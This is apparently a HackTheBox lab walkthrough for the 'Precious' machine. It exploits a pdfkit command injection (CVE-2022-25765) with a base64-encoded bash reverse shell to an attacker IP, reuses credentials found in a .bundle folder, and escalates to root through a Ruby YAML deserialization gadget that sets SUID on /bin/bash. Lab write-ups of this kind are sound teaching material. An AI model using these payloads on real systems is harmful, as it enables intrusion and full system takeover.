HackTheBox - Precious

HackTheBox - Precious

Machine Walkthrough

·

5 min read

P.S.: This write-up is also available on Russian: link

Introduction


This write-up explores the effects of exploiting critical command injection vulnerability (CVE-2022-25765) in pdfkit. Pdfkit - Ruby “gem” that creates PDFs using plain old HTML+CSS. This box will show you how to exploit pdfkit vulnerability and get a remote connection to the server via reverse shell. And it all finishes with unique horizontal privilege escalation.


Enumeration

Always the first thing to do is scan the target IP address with Nmap to check what ports are open. But i personally prefer threader3000(clickable link)

It just scans ports very fast and then puts open ports to nmap for the detailed scan(-sC for default scripts and -sV to enumerate versions)

Detailed Nmap Scan:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

And we see 2 ports open, port 80 will be the priority.

HTTP Server:

Looking at the webserver root, we get redirected to precious.htb, so, we need to add it to /etc/hosts

# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1       localhost
::1             localhost
127.0.1.1       archlinux.localdomain   archlinux
#THM

#HTB

10.10.11.189    precious.htb

Now we talking! Here you can see a simple converter panel, that says “Convert Web Page to PDF”, let’s start a simple HTTP server and try to convert it!

sudo python3 -m http.server 80

Notice, I'm running it with sudo because it needs root access to open port 80

Okay! We got our PDF file back, it looks like anything is completely normal. Let’s examine metadata by using Exiftool

exiftool [PDF file]
ExifTool Version Number         : 12.50
File Name                       : 3hf2r90s59z1pypm38vqa0ho54pwf19h.pdf
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2023:01:12 20:53:23+06:00
File Access Date/Time           : 2023:01:12 20:53:48+06:00
File Inode Change Date/Time     : 2023:01:12 20:53:40+06:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Take a look at the last line, it says “Generated by pdfkit v0.8.6”, if we ever come across a version number it’s always a great idea to research that particular version on Google. A quick Google search using the keywords “Generated by pdfkit v.0.8.6” reveals an article that discusses the in-depth exploitation of the CVE-2022-25765 vulnerability within this application.

You can learn more about command injection here:

TryHackMe Room

PortSwigger Academy


Exploitation

Everything inside the backticks will be executed on a victim machine, let’s put the reverse shell payload!

First of all, putting bad symbols like ‘ /, and etc is a bad idea. Cuz it’s command injection 🙂

This is the basic payload:

bash -i >& /dev/tcp/10.10.14.76/9001 0>&1

Encode it to base64:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE=

Then, add decoding and execution:

echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash

We are almost done, now put anything in the URL:

<http://10.10.14.88/?name=%20`echo> -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash`

Nice! We got it!


Post-Exploitation

The first thing that I'm always doing is stabilize my terminal(cuz it’s a reverse shell, and anything is buggy)

python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z

Go back to your terminal, and type

stty raw -echo;fg

Then hit enter twice, here you go! Now u have command history, normal CTRL+C and autocompletion.

Vertical Privelege Escalation

Besides us, there is another non-root user on the machine

cat /etc/passwd |grep sh$
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash

In our home directory, we see an interesting folder “.bundle”

Inside, we have Henry's credentials, how easy is that!

Let's just ssh into Henry!

ssh henry@precious.htb

And we got the user!

Horizontal Privelege Escalation

When I have a password from a user, the first thing I always check is sudo

-bash-5-1$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Let’s investigate the update_dependencies.rb file

-bash-5.1$ ls -la /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25 11:02 /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Notice, this ruby script uses YAML, we can try Dynamic Code Evaluation with YAML Deserialization attack

You can learn more about YAML Deserialization here:

Awesome Blogpost

Firstly, create a file in your home directory, and call it “dependencies.yml”, then insert this:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash"
         method_id: :resolve

Anything in git_set is gonna be executed by root, so let's just give bash SUID.

Now run the command with sudo

-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
    ...

Hmm, nothing special, let’s look at /bin/bash:

-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Nice! Now just type:

bash -p

Good work!

In conclusion, I would like to say that this machine is quite simple and very well suited for beginners. Nothing very special, just a regular easy box. That’s it for today, I hope you enjoyed it, happy hacking!